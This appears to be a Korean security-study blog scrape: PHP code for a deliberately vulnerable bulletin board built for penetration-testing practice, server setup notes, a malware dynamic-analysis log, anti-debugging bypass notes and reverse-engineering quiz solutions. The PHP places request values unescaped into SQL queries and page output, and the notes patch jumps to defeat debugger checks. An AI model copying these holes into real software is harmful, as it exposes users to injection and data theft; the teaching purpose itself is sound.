			<li><a href="delete.php?num=<?=$num?>">게시글 삭제</a></li>
			<li><a href="write.php?mode=modfiy&num=<?=$num?>">게시글 수정</a></li>   <!--  mode=modfiy 이문장을 통해 게시글 작성과 구별을 둔다. -->
		</ul>
	</nav>

<article id="main_cen">
	<h1>글 내용</h1>

	<div id="view_title">
		<div class="view_title1"><?=$subject ?></div>
		<div class="view_title2"><?=$nick?>조회수  :<?=$hit ?>  <?=$date ?></div>
	</div>
	<div id="view_content"><?= $content?></div>

	<div id="view_file">첨부 파일 :
	<a href="download.php?filename=<?=$filename ?>"> <?=$filename?></a>
	</div>

	<div id="button">
		<a href="list.php?page=<?=$page?>"><img src="/images/list.png"></a>
		<a href="write.php?mode=modfiy&num=<?=$num?>"><img src="/images/modify.png"></a>
		<a href="delete.php?num=<?=$num?>"><img src="/images/delete.png"></a>
		<a href="write.php"><img src="/images/write.png"></a>
	</div>
</article>
<div class="clear"></div>
<?php include "../footer.php"; ?>

 

write.php

<?php include "../header.php";
if(!$_SESSION['id']){
	echo "<script>alert('로그인 후 이용하세요'); location.href='/member/login.php';</script>";
	exit;
}

$mode=$_GET['mode'];
$nick= $_SESSION['nick'];
$num= $_GET['num'];
if($mode =='modfiy')
{
include "../dbconn.php";
$sql="select * from center where num='$num'";
$result= mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
$id =$row['id'];
if($_SESSION['id'] != $id){
	
	echo "<script>alert('작성자만 수정 가능합니다.');
					location.href='/center/list.php';
					</script>";
}
$content= $row['content'];
$subject= $row['subject'];
mysqli_close($conn);
}
?>

<div id="img_cen"></div>
<nav id="nav_sub">
		<ul>
		 <li><a href="list.php">게시글 목록</a></li>
			<li><a href="write.php">게시글 작성</a></li>
			<li><a href="delete.php">게시글 삭제</a></li>
			<li><a href="write.php?mode=modfiy">게시글 수정</a></li>   <!--  mode=modfiy 이문장을 통해 게시글 작성과 구별을 둔다. -->
		</ul>
	</nav>

<article id="main_cen">
	
	<?php 
	if($mode == 'modfiy')
	{
 ?>
 <h1>글수정</h1>
 <form action="insert.php?mode=modfiy&num=<?=$num?>" method="post" enctype="multipart/form-data">		
	<?php
	} else {
	?>
		<h1> 글 작성</h1>
		<form action="insert.php" method="post" enctype="multipart/form-data"> <!-- enctype="multipart/form-data 가 있어야 업로드가 가능. -->
		<?php
	}
		?>
		
		
		<div class="line"></div>
		<table id="write_table"> 	
			<tr id="write_row1">
				<td class="col1">닉네임</td>
				<td class="col2"><?=$nick?></td>
			</tr>
			
			<tr id="write_row2">
				<td class="col1">제목</td>
				<td class="col2"> <input type="text" name="subject" value=<?=$subject ?>> </td>
			</tr>
			
			<tr id="write_row3">
				<td class="col1">내용</td>
				<td class="col2"><textarea name="content"><?=$content ?></textarea></td>
			</tr>
			
			<tr id="write_row4">
				<td class="col1">파일</td>
				<td class="col2"><input type="file" name="upfile"></td>
			</tr>
		</table>
	
		<div id="button">
			<input type="image" src="/images/ok.png">
			<a href="list.php"> <img src="/images/list.png"> </a>
		</div>
	</form>
</article>
<div class="clear"></div>
<?php include "../footer.php"; ?>

db테이블

create table center( 
num int unsigned not null auto_increment, 
id varchar(50), 
nick varchar(50), 
subject varchar(255) not null, 
content text, 
date varchar(30), 
hit int unsigned, 
filename varchar(255), 
primary key(num) 
);

 

 

'모의해킹' 카테고리의 다른 글

BOF  (0) 2019.07.04
취약 홈페이지를 통해 각종 공격 대응.  (0) 2019.06.28
apm구축  (0) 2019.06.18

yum -y install httpd*

 

yum -y install php

yum -y install mysql mysql-server php-mysql

 

 

 

 

service mysqld restart

mysql -u root -p

set password for root@localhost = password('새로운비밀번호');  

update user set password=password('새로운비밀번호') where user='root'; 

 

vi /etc/httpd/conf/httpd.conf

402번째 줄 처음 메인 페이지를 index.php로 설정할 것이기 때문에 추가해준다.

service httpd restart  //설정을 바꿨으니 재시작을 해준다.

 

vi /etc/php.ini

short_open_tag 옵션을 on으로 변경

 

short_open_tag 옵션이란  아래 코드를 

<?php

echo $id;

?>

이런식으로 줄여쓰게 해주는 옵션이다.

<?=$id?>

 

 

service httpd restart  //설정을 바꿨으니 재시작을 해준다.

 

 

vim /var/www/html/index.php //메인페이지 설정

 

vim /etc/sysconfig/iptables

 

방화벽에서 http를 허용해준다

service iptables restart

 

 

 

자신의 리눅스 ip를 입력해서 php info 화면이 뜨면 구축된 것이다.

 

 

이클립스, jdk를  ~/utill에 설치

 

 

jdk 설정법

압축을 푼 후, 아래 폴더 위치에 밑에와 같이 설정해 준다. 

JAVA_HOME = jdk가 있는 위치이다.

vi /etc/profile

 

mv /usr/bin/java /usr/bin/java-old

source /etc/profile

 

 

java -version

 

eclipse 실행

eclipse 폴더에 들어가서 ./eclipse 실행

apache 경로에다가 놓는다고 설정./var/www

'모의해킹' 카테고리의 다른 글

BOF  (0) 2019.07.04
취약 홈페이지를 통해 각종 공격 대응.  (0) 2019.06.28
취약한 홈페이지 구축  (0) 2019.06.18

 vim /etc/yum.repos.d/daumkakao.repo
 yum clean all
 yum repolist

[base]
name=CentOS-$releasever - Base
baseurl=http://ftp.daumkakao.com/centos/6/os/$basearch/
gpgcheck=1
gpgkey=http://ftp.daumkakao.com/centos/RPM-GPG-KEY-CentOS-6
 
[updates]
name=CentOS-$releasever - Updates
baseurl=http://ftp.daumkakao.com/centos/6/updates/$basearch/
gpgcheck=1
gpgkey=http://ftp.daumkakao.com/centos/RPM-GPG-KEY-CentOS-6
 
[extras]
name=CentOS-$releasever - Extras
baseurl=http://ftp.daumkakao.com/centos/6/extras/$basearch/
gpgcheck=1
gpgkey=http://ftp.daumkakao.com/centos/RPM-GPG-KEY-CentOS-6
 
[centosplus]
name=CentOS-$releasever - Plus
baseurl=http://ftp.daumkakao.com/centos/6/centosplus/$basearch/
gpgcheck=1
gpgkey=http://ftp.daumkakao.com/centos/RPM-GPG-KEY-CentOS-6

1.정적분석

 

1. PEid 를 통해 무엇으로 만들어졌는지 확인

2. bintext를통해 메모장 정리

이런 식으로 정리되는데, 이것만 봐서는 잘 모른다.

 

2.동적분석

 

3. 직접 실행해서 실행하기 전과 후를 비교.

 

processMonitor 실행

SystemExplorer로 무엇이 변했는지 확인

 

몇분 있다가 컴퓨터가 꺼지면서 디스크가 파괴된 것을 확인.

이런식으로 점점 상태가 이상해진다.
컴터가 꺼지면서 부팅이안된다.

이렇게 프로세스 모니터를 통해 계속 분석을 반복하는 것이다.

이런식으로 Write File을 통해 디스크 용량을 지속적으로 사용한다.

 

3. 상세 분석

디버거 툴을 이용해 안에 내용을 살펴본다.

 

winhex를 통해 파괴된 디스크확인

전부 HASTATI로 변환되어있다.

 

'악성코드 분석' 카테고리의 다른 글

동적분석 툴  (0) 2019.06.11
AntiReversing  (0) 2019.06.05
패스워드 알아내기  (0) 2019.06.04
quiz를 통해 익숙해지기  (0) 2019.05.22
어셈블리어 로 test.cpp 해석  (0) 2019.05.21

 

동적 분석을 위해 쓰는 툴

 

1. Process Explorer

2. System Exeplorer

 

3. Process Monitor

 

PID로 전부 삭제하고 악성코드 실행
다 비운후, 실행하면 악성코드에 대한 것만 뜬다. 위에 빨간표시를 클릭하면 캡쳐를 뜨는 것이다.

 

프로세스 시작부터 끝부분을 분석

Process create 어디 위치에 생성되는지 확인

 

 

System32\kernel.exe파일 생
실제 된 것을 확인.

또다른 시스템 익스플로러로 보면

이렇게 생성된 것을 볼 수 있다.

 

스냅샷

동적분석을 하기 전에 스냅샷을 통해 현재 상태를 찍고,  동적 분석 후 변화된 상태를 스냅샷 찍어 무엇이 추가되고 변했는지 확인할 수 있다.

 

악성코드 실행후 무엇이 변했는지 보여준다.

 

 

'악성코드 분석' 카테고리의 다른 글

악성코드 분석법.  (0) 2019.06.12
AntiReversing  (0) 2019.06.05
패스워드 알아내기  (0) 2019.06.04
quiz를 통해 익숙해지기  (0) 2019.05.22
어셈블리어 로 test.cpp 해석  (0) 2019.05.21

Ctrl + N

현재 실행파일에서 사용하겠다고 말한 함수들의 이름을 볼 수있다.

 IsDebugger

원하는 문자를 입력해서 찾을 수 있다.

1. IsDebuggerPresent 를 검색해서 찾는다.

엔터를 누르면 그 함수위치를 볼 수있다.

즉 , 안티리버싱에 관한 함수를 알아내서 그 함수를 알고, 이름을 통해 그 분기를 찾아 가는 것이다.

 

 

이러한 안티리버싱에 관련된 함수를 구글에 검색해서 무슨 함수인지 알아본다.

https://docs.microsoft.com/en-us/windows/desktop/api/debugapi/nf-debugapi-isdebuggerpresent

 

IsDebuggerPresent function (debugapi.h)

Determines whether the calling process is being debugged by a user-mode debugger.

docs.microsoft.com

 

소스로 짜기위해서는 

_WIN32_WINNT 매크로를 0x0400 이상을 정의해야한다.

 

StdAfx.h에 #define _WIN32_WINNT 0x0501 을 정의

 

 

소스.

 

F5는디버거로 실행
Ctrl+ F5는 디버거없이 실행
JE를 JMP 변경해 우회시킬 수 있다. TEST JE는 거짓이면 점프, 참이면 실행이다.

 

JMP로 변경하면 if문으로 우회를 해 No Debugger가 출력된다.

 

 

 

함수안에 코드 분석

MOV EAX,DWORD PTR FS:[18]

FS의 값에 18을 더한 값을 EAX에 넣는다.

MOV EAX,DWORD PTR DS:[EAX+30]

위의 값에 30을 넣은 값이 EAX에 저장

MOVZX EAX,BYTE PTR DS:[EAX+2]

이 값으로 디버깅을 구별. 1이면 디버깅이고, 0이면 디버깅이 아니라고 판별
이렇게 작성하면 isdebugger가 검색해도 안나오기때문에 분석을 하나하나 다해야하기 때문에 힘들다.

__asm은 어셈블리어를 사용하게 해주는 함수이다.

 


ntqueryinformationprocess 함수

 

함수에 대한 설명

https://docs.microsoft.com/en-us/windows/desktop/api/winternl/nf-winternl-ntqueryinformationprocess

 

NtQueryInformationProcess function (winternl.h)

Retrieves information about the specified process.

docs.microsoft.com

ntqueryinformationprocess를 사용하려면 LoadLibrary  GetProcAddress함수를 사용해야한다.

 

GetProcAddress function (libloaderapi.h)

Retrieves the address of an exported function or variable from the specified dynamic-link library (DLL).

docs.microsoft.com

 

LoadLibraryA function (libloaderapi.h)

Loads the specified module into the address space of the calling process.

docs.microsoft.com

이 함수는 디버거 포트를 통해 판단한다.

두개의 프로세스는 디버거 포트를 통해 실행된다.

 

ntqueryinformationprocess 

위의 함수에서 사용하는 GetProcAddress와 LoadLibrary를 통해 확인할 수 있다.

nt함수는 위의 2개함수를 사용한다.

 

LoadLibrary함수가 먼저실행되고, GetPorcAddress가 실행된다.

 

 

ntqueryinformationprocess는 바로 호출이 되지 않기 때문에 zwQueryinformationprocess먼저 호출하고 호출된다.

이함수의 인자값은 5개

-1은 자기자신 7번째 정보를 조회 실제데이터에 4바이트의 데이터 사이즈 0이니 필요없다.

0번부터 세는 것이다. 즉 , 7번째는 ProcessDebugPort

그냥 실행 시

0이면  디버깅을 사용하지 않고있다는 뜻이다.
디버깅 시 결과 값 FFFFFFFF로 디버깅포트가되어 안티디버깅이 실행된다.
즉, if문을 우회하면 된다. 
JE를 JMP로 변경해 우회하면 No Debugger Detected가 뜬다.

 

 


 

CheckRemoteDebuggerPresent 함수

https://docs.microsoft.com/en-us/windows/desktop/api/debugapi/nf-debugapi-checkremotedebuggerpresent

 

CheckRemoteDebuggerPresent function (debugapi.h)

Determines whether the specified process is being debugged.

docs.microsoft.com

 

매개변수가 2개인 함수이다.

지정된 프로세스가 디버깅되고 있는지 여부를 결정하는 함수이다.

 

함수가 성공하면(디버깅중이면) 반환값이 0이아니고, 실패하면 반환값이 0이다.

 

똑같이 Ctrl+ N을 통해 위의 함수를 찾는다.

위의 주소를 break를 걸고 그 주소로 찾아간다.

 

매개변수가 2개라 2개를 넣는다.

 

값이 1 즉, 0이 아니면 디버깅중이라 판단.

 

JE를 JMP로 변경해 흐름분기를 우회한다.


 

SetLastError

GetLastError

OutPutDebugString 

표시를 위해 문자열을 디버거에 보내는 함수

https://docs.microsoft.com/en-us/windows/desktop/api/debugapi/nf-debugapi-outputdebugstringw

 

OutputDebugStringW function (debugapi.h)

Sends a string to the debugger for display.

docs.microsoft.com

 

Ctrl + N 으로 OutPutString을 찾아 온다.

 

29A라는 값을 LastErr에 넣는다. 
OutPutDebugStringW 디버거로 문자열을 출력하라는 의미이다.
이런식으로 random이란 값을 출

GetLastError 는 LastError의 값을 가져온다. EAX로 가져옴

 

디버거가 있으면 에러가 일어나지 않고, 디버거가 없으면 에러가난다. 이것으로 판별.

LastError -> 마지막 에러를 캐치함. 즉 , 에러가 있으면 디버거가 없다 판단.

에러가 없으면 디버거가 있다판단.

 

에러가 있으면 Last Error에 있는 값과 EAX의 있는 값이 다르므로 디버깅이 없다판단

즉 , 같으면 디버깅이 있다고 판단하므로 안티디버깅 활성화

 

따라서 JNZ를 JMP로 변경해 우회


findWindow

 

활성화 중인 창에서 OllyDbg를 찾는다.

 

Ctrl + n 을통해 들어간다. 이번에는 2군데라 2군데 전부 break Point 를 건다.

활성 중인 Title을 찾는다. 내부 클래스에 대한 값을 찾는다.

 

 

OLLYDBG라는 창을 찾으면(0이 아니면) EAX에 값이 담겨 점프가 되어 OllyDBG Detected가 뜨고

창을 찾지 못하면 EAX값은 0이되어 점프를 하지 않아, Not Detected가 뜬다.

따라서 JNZ를 NOP 으로 변경하면된다.

NOP으로 변경

 

 

 


AnitQuiz1

 

디버깅을 실행시켜 Strat를 누르면, 메모장이 뜨면 성공

Findwindow를 찾아 JE를 JMP로 변경해 OllyDbg를 우회
이모양이 뜨지만 실행은 안됌.
찾다보니 이함수가 notepad.exe 와 연관된 것을 확인 JE를 NOP으로 변경해 점프가 되지않고 그대로 실행되게 설정. 

winexec는 응용프로그램을 실행시키는 함수.

https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-winexec

 

WinExec function (winbase.h)

Runs the specified application.

docs.microsoft.com

잘 실행된다
프로그램을 강제종료하는 명령어 외워두면 좋다.

-1 나 자신 

1E -> 30번 째 ProcessDebugObjectHandle을 의미

 

 

 

주소의 값이 다시 실행되는 곳에 브레이크포인트를 거는 방법이다. Hardware Break Point라 한다.

 

'악성코드 분석' 카테고리의 다른 글

악성코드 분석법.  (0) 2019.06.12
동적분석 툴  (0) 2019.06.11
패스워드 알아내기  (0) 2019.06.04
quiz를 통해 익숙해지기  (0) 2019.05.22
어셈블리어 로 test.cpp 해석  (0) 2019.05.21

CrackMe_1.exe
0.15MB

 

위의 파일을 디버깅툴로 실행시켜  사용자에게 입력값을 받아 실행하는 형태이기 때문에

 

텍스트 스트링으로만 모아서 입력 받는 값의 시작부분과 틀린부분 사이를 break point를 걸고 실행.

 

저 부분만 해석하면 된다.

 

이부분을 실행시키면 아래와같이 입력받는 값이 뜬다.

 

 

여기부분에서 실행이 멈춘다. 즉, 여기서 아무런 값을 입력하고 다음 문장으로 넘어가면

 

이부분을  통해 ECX에 J값이 들어간다.

 

이 콜문장을통해 
내가 넣은값과 s68h90i50n을 비교해 맞으면 Good jab 을 출력하게 한다.

따라서 답은 s68h90i50n

 

 

 

 

CrackMe_2.exe
0.15MB

위와 같이

 

위의 값을 입력해보면

ucancrack이라는 문자열이나온다

 

정답:

ucancrack

 

소스로 변환해보면

이렇게 된다.

 

CrackMe03.exe
0.01MB
이값을 변경

위의 exe파일을 소스로 변환하면

 

'악성코드 분석' 카테고리의 다른 글

동적분석 툴  (0) 2019.06.11
AntiReversing  (0) 2019.06.05
quiz를 통해 익숙해지기  (0) 2019.05.22
어셈블리어 로 test.cpp 해석  (0) 2019.05.21
Debugger사용법, 간단한test.exe파일을 통해 분석  (0) 2019.05.17

winmain을 어셈블리어에서 구별하는법

GetModuleHandle 밑에 CALL이 winmain이다.

 

1. 소스

 

2. 어셈블리어

MessageBOX부터 위로 코딩을 하면 된다.

 

 

 

퀴즈3.exe 파일의 코드 찾아내기

정답:

 

 

퀴즈4.exe 파일의 코드 찾아내기

 

 

 

MOV DWORD PTR SS:[EBP-A],EDX   //EDX의값 즉 공간을 다쓰고 6바이트가 남아서 6바이트를 0으로채움

MOV WORD PTR SS:[EBP-6],DX   // char str[24] = "AegisOne Security"; 

LEA EAX,DWORD PTR SS:[EBP-1C]  // EBP-1C는 배열의 첫주소이므로 배열명이 된다 따라서 str

MOV DWORD PTR SS:[EBP-4],EAX  // char * p = str;

 

 

MOVSX EDX,BYTE PTR DS:[ECX+6]   // 현재 ECX는 p이므로 p+6의 값을 저장     =*(p+6);

MOV DWORD PTR SS:[EBP-20],EDX   // int  n = *(p+6);

 

 

정답 :

 

 

 

퀴즈5

 

함수 파라미터들이 고정인 함수들이다.

strcpy(1,2);

memcpy(1,2,3);

strcmp(1,2);

strlen(1);

malloc(1);

free(1);

sprintf를 나타내고 있다. 총 24바이트중 int형인 4바이트만 사용 했으므로, 배열에 남은 20바이트를 지정한다.

PUSH가 3개인 것으로 보아, 값이 3개임을 알 수 있다.

func(&x, "%d", n);           이 형태를 보아 sprintf임이 유추가된다.

 

sprintf의 기본 양식은

sprintf(string, "%d", n ); 이다.

MOV DWORD PTR SS:[EBP-18],5    // int n = 5;

 

LEA EDX,DWORD PTR SS:[EBP-14] //배열의 시작주소를 나타낸다.

 

 

 

정답

 

 

 

퀴즈06

값 변경하기

 

이 값을 10으로 변경
저부분의 값을 변경하면 된다.
Selection 1개만 변경시 사용 

Selection 1개만 수정했을 시 사용

All modifications 여러개 수정했을 시 사용

 

수정한 후 copy all -> seve로 exe파일을 저장하면 완전히 수정이 된다.

 

 

값이 변한 것을 확인

 

소스분석

함수 첫 부분

PUSH

PUSH

PUSH

CALL 구조를 보아 sprint임을 유추

 

 

따라서 00401006의 값을 변경하면 값이 변한다.

 

 

 

 

조건문

 

 

조건문(if)

 

CMP 피연산자1 , 피연산자2  //1~2를 하여 양수, 음수,0을 판단 

 

CMP 피연산자1 에서 피연산자2를 빼고 양수면 피연산자1이 크고 음수면 피연산자2,  0이면 같다.

 

JE 같으면  JMP 가실행 

JNZ 서로 다르면 JMP가실행 

 

 

JGE 왼쪽이 크거나 같으면  JMP가 실행

JLE 왼쪽이 작거나 같으면  JMP가 실행

 

if(n<= 10)

JG 왼쪽이 크면 실행

 

if(n <= 10)

JL 왼쪽이 작으면 실행

 

 

 

 

 

if문이 참이되어 실행되면 JMP명령을통해 else부분을 뛰어넘긴다.

 

JMP문을 통해 0040103B로 온다.

 

 

 

 

 

 

and 연산자

 

 

 

 

or연산자

 

or연산자이기 때문에 그대로 연산자가 된다.

and와 다르게 jge가 참이면 push0 부분 즉 , 종속문장을 실행한다.

 

 

문제 02-1

 

아래 어셈블리어의 맞는 코드 작성

 

 

 

정답:

 

 

 

 

 

퀴즈 02-2

 

 

분석

 

MOV EAX,DWORD PTR SS:[EBP+10]  //arg 3   == lpCmdLine

EBP + 8   //arg 1

EBP + C   //arg 2

EBP + 10   //arg 3

 

따라서 lpCmdLine을 불러오면 된다.

 

Arg를 PUSH하고 들어갔으므로, EBP + * 은 arg를 의미

 

 

 

 CDQ는 나눗셈을 의미한다.  IDIV  몫과 나눗셈을 한번에 구한다.
TEST를 통해 EAX를 사용하고, EDX의 값은 MOVSX를 통해 다른 데이터로 덮어졌으므로, 몫의 값만 사용된 것을 알 수 있다.

TEST  참거짓을 비교하는 비교 연산자.

위의 문장을 통해 IDIV ECX의 값이 ch /13이 됨을 알 수 있다.

 

if의 종속문장 
else의 종속문장

 

JE  조건식 점프로 뛰는 범위 안에 JNZ가 겹쳐있으므로 or임을 유추한다.

JNZ는 앞에 문장이 참일 시 건너뛰는 용도로 사용되기 때문에 반대로 생각해야된다.

 

 

위의 어셈블에 대한 소스 정답.

0x49 - 0x34 + 0x41 = 0x56     0x56 == 'V'  즉 , 3번째 문자열에 V가 오는 값을 아규먼트로 등록해주면 success가 뜬다.

 

 

 

 

Switch case 문 유형 1.

 

 

위의 소스 어셈블리어

소스분석

2문장이 switch(n)을 의미 

 

case 0 , case1 , default를 의미 
위의 문장 JE에서 시작부분이 00401021로 가라 나타냈기 때문에 case0에 해당하는 문장임을 알 수 있다.

 

JE부분이 00401037로 가라 나타냈기 때문에 case1부분이다. JMP는 소스에서 break를 의미하기 때문에 전부 같은 주소를 가리킨다.

같은주소 == switch문의 끝

JMP부분이 0040104D로 가라했기 때문에 default부분이다.

 

 

스위치문은 이런형태로 나온다.

 

 

Switch case 문 유형 2.

Switch문이 4개 이상일 경우

어셈블리어 소스

 

소스 분석

4개이상의 case가 나올 시 위와 같이 단축되어 나온다. JA는 JG와 동일
default 부분이다. 즉 case의 마지막번호랑 비교해서 크다면 default로 가게 한다.
case부분이다. ECX*4는 고정, 뒤에 주소는 변함. 

즉 상수가 0일 경우  0*4 + 401097     //16진수계산

case 0 : 401097    

case 1 : 40109B

case 2 : 40109F

case 3 : 4010A3

 

위의 주소에 위치하는 데이터값의 번호에 관련된 곳에 case 시작부분이 있다.

 

 

퀴즈 2-3

소스분석

 

EBP+10 이므로 아규먼트 3번째값 lpCmdLine임을 알 수 있고,  JNZ이므로 0이 아니면 점프한다는 의미이기에 if(*lpCmdLine==0)이 된다.

 

if의 참인 부분 JNZ의 주소가 00401029를 가르키므로 그 전에 주소는 if문의 값이 된다.

OR EAX,FFFFFFFF  //  MOV EAX , -1 을 의미 

JMP의 주소가 함수 마지막을 가르키므로 return이 된다.

 

lpCmdLine[0] - 0x30은 값이 정수로 나올수 밖에 없으므로 int형이다.

 

n과 5를 XOR연산

 

 

CMP JE CMP JE 순을보아 Switch문임을 유추

 

case2 와 case4의 내용  JMP는 break;

 

default의 내용 

 

 

소스로 변환한 정답 

 

소스를 수정해서 success를 띄우는법

n^5 -> 4가 되는 값은 n == 1이다.

문자 '0'은 16진수로 0x30  10진수로 48이다. 따라서, lpCmdLine[0]의 값이 1이면 success가 출력된다.

 

 

 

 

2-4 퀴즈

 

어셈블리어

 

 

분석

MOV DWORD PTR SS:[EBP-4],EAX 문장을 통해  x라는 변수에 func(lpCmdLine)을 넣는다.

 

밑에 문장을 보아 switch(x)을 의미

 

case3개를 가진 switch문

40109F주소의 헥사값을 보면 저기에 적힌 주소들이 case문의 내용이다.

 

push가 1개인 것으로 보아, 인자가 1개인 함수이다. 

이제 여기서 추리를 한다.   lpCmdLine이니까 arument에 값을 하나한씩 넣어보면서 규칙을 찾아낸다.

 

1234를 넣어본다.
4라는 값이 반환 되었다.

 

123456을 입력해보았다.
6이라는 값이 반환되었다.

위의 규칙을 통해 문자열의 길이를 파악한다는 것을 알 수있다. 따라서 strlen()함수이다.

 

소스 정답

 

따라서 success를 띄우기 위해서는 x의 값이 4이상 이면 된다.

 

for문

벗어나는 키 F4

 

위의 소스에 관련된 어셈블리어

분석

이 형태면 무조건 for문이라 생각한다.

초기식 -> JMP하는 내용이 증감식이다.  for(i=1; ; i++)

JMP로 도착한 부분부터 다음 JMP까지가 조건식이다. for(i=1; i <11(0B); i++)

다음 JMP하는 내용이 종속문장이다.   sum = sum + i;  

위로 다시 올라간다. for문계속실행하는 JMP

분석해보면 아래와 같은 for문이 나온다.

for(i=1; i<11; i++)   
sum+=i;  

 

 

 

for 2번째 유형

 

어셈블리어

분석

char str[]="string";

for문의 형태이다.

 

MOV 

ADD

MOV 를통해  len++임을 알고

*(str+len) == str[len]

MOVSX 에서 EBP-8 + ECX인데, MOV연산자이기 때문에 안에 값을 가져온다 따라서 *(str+len)이된다.

JE기 때문에  *(str+len) 그대로 연산식이 된다.

JE와 JMP 사이에 값이 없으므로 안에 종속문장은 없다.

 

 

 

 

while문

 

 

 

if문이랑 비슷한데, 젤 마지막 JMP가 JMP했을 때 위로 올라가면 while 아래로 내려가면 else로 생각

 

continue는 종속문장 안에서 나온다. 

break                                           둘다 jmp로 나오니 혼동x

 

분석

 

 

2-5 퀴즈

 

소스정답

 

2-6 퀴즈

 

정답:

 

 

 

 

2-7

어셈코드

 

 

분석.

for문에 관련된 문장
while의 내용
아래 마지막 sucess문장

 

정답

 

success 띄우기

atoi()함수가 하는일 즉, 문자열 "123" 을 정수형 123으로 변환하는 코드이다.

즉 , 이 소스는 리버싱을 어렵게하기위해 0x30을 -> 0x2F로 변환해서 나타냈다.

 

따라서 마지막 if문을 보면 300-84=216 b의 값이 216이나오면된다.

 

0x30 -> 0x2F  는 1을 뺀 값이다.

216 -> 자릿수에 1씩 빼면 105가나온다.

105 -> 0x31 0x30 0x35 

따라서 argument 값에 105를 입력하면 정답이다.

 

 

 

 

'악성코드 분석' 카테고리의 다른 글

AntiReversing  (0) 2019.06.05
패스워드 알아내기  (0) 2019.06.04
어셈블리어 로 test.cpp 해석  (0) 2019.05.21
Debugger사용법, 간단한test.exe파일을 통해 분석  (0) 2019.05.17
기초지식(스택)  (0) 2019.05.16

1. test.cpp의 코드 내용

 

2. test.cpp의 어셈블리어

 

 

3. test.cpp문자형

4. 위의 코드 어셈블리어

 

MOV EAX,DWORD PTR DS:[405030]   //데이터의 값을 레지스터인 EAX에 저장

 

리틀앤디안 식으로 저장

 

MOV DWORD PTR SS:[EBP-8],EAX     //EAX레지스터 값을 스택에 저장

DWORD PTR SS:[EBP-8]가 배열의 시작주소

 

MOV ECX,DWORD PTR DS:[405034]  //405034데이터의 값을 ECX에 저장

MOV DWORD PTR SS:[EBP-4],ECX     //ECX레지스터의 값을 스택에 저장

char str1[] = "Reverse";

MOV EDX,DWORD PTR DS:[405038]  //405038데이터의 값을 EDX에 저장

MOV DWORD PTR SS:[EBP-18],EDX   //EDX레지스터의 값을 스택에 저장

MOV EAX,DWORD PTR DS:[40503C]    //40503C데이터의 값을 EAX에 저장

MOV DWORD PTR SS:[EBP-14],EAX      //EAX의 값을 스택에 저장

MOV ECX,DWORD PTR DS:[405040]    //405040데이터의 값을 ECX에 저장

MOV DWORD PTR SS:[EBP-10],ECX   //ECX의 값을 스택에 저장

char str2[] = "Enginerring";

XOR EDX,EDX       

 //null문자 생성       char str2[16] = "Engineering" 즉,[16]이라는  공간을 지정한후 남은 바이트를 null==0으로채운다.

MOV DWORD PTR SS:[EBP-C],EDX   //null문자를 스택에 저장

char str2[16] = "Engineering";

 

 

5. test.cpp 포인터

6. 어셈블리어

 

 

 

PUSH ESI

PUSH EDI

ESI와 EDI를 백업하기 위해 저장

 

 

MOV ESI,405030  //출발지 주소를 저장 즉  Reverse Engineering값을 넣기 위해 저장

 

LEA EDI,DWORD PTR SS:[EBP-1C]     //EBP-1C의 결과를 EDI에 저장

0012FF80 - 1C의 결과를 EDI에저장

REP 는 ECX의 값만큼 반복한다.

REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

ES:[EDI] == 스택 주소 

DS:[ESI] == 데이터 주소

ESI가 가진 4바이트 데이터를 EDI에 저장     // 이작업을 5번동안 한다.

 

여기까지가 char str[]="Reverse Engineering";

XOR EAX,EAX

MOV DWORD PTR SS:[EBP-8],EAX

이 두문장을 통해서   첨자가 있는 배열임을 알게된다. 

여기까지가 char str[24]="Reverse Engineering";
값이 들어가있는 스택 형태

LEA ECX,DWORD PTR SS:[EBP-1C]     //EBP -1C 의값을 ECX에 저장

배열의 시작주소가 저장된다.

MOV DWORD PTR SS:[EBP-4],ECX        //ECX의 주소를 EBP-4에 저장

char * p = str;

 

MOV EDX,DWORD PTR SS:[EBP-4]      //EBP-4의 값을 EDX에 저장

MOVSX EAX,BYTE PTR DS:[EDX+5]   

//EDX값에 5를 더한다. 그값을 EAX에 저장  MOV연산자에 [ ]가 있을 시 포인터 이다.

//0012FF64 + 5  == 0012FF69  ==EAX == 0012FF69

*(p+5)

MOV DWORD PTR SS:[EBP-20],EAX        //0012FF69에 있는 데이터 1바이트를 저장

int n = *(p+5);

 

 

7. 구조체 코드

 

 

8. 어셈블리어

SUB ESP,0C    

지역변수가 12바이트이다.

 

MOV DWORD PTR SS:[EBP-C],0A   

int n1 =10;

MOV DWORD PTR SS:[EBP-8],14

int n2 = 20;

 

같은 공간을 쓰는 것을 의미하므로, 아래 문장을 통해 구조체인 것을 알 수있다. 

MOV BYTE PTR SS:[EBP-4],61

char ch1 = 0x61;

MOV BYTE PTR SS:[EBP-3],41

char ch2 = 0x41;

 

 

+ Recent posts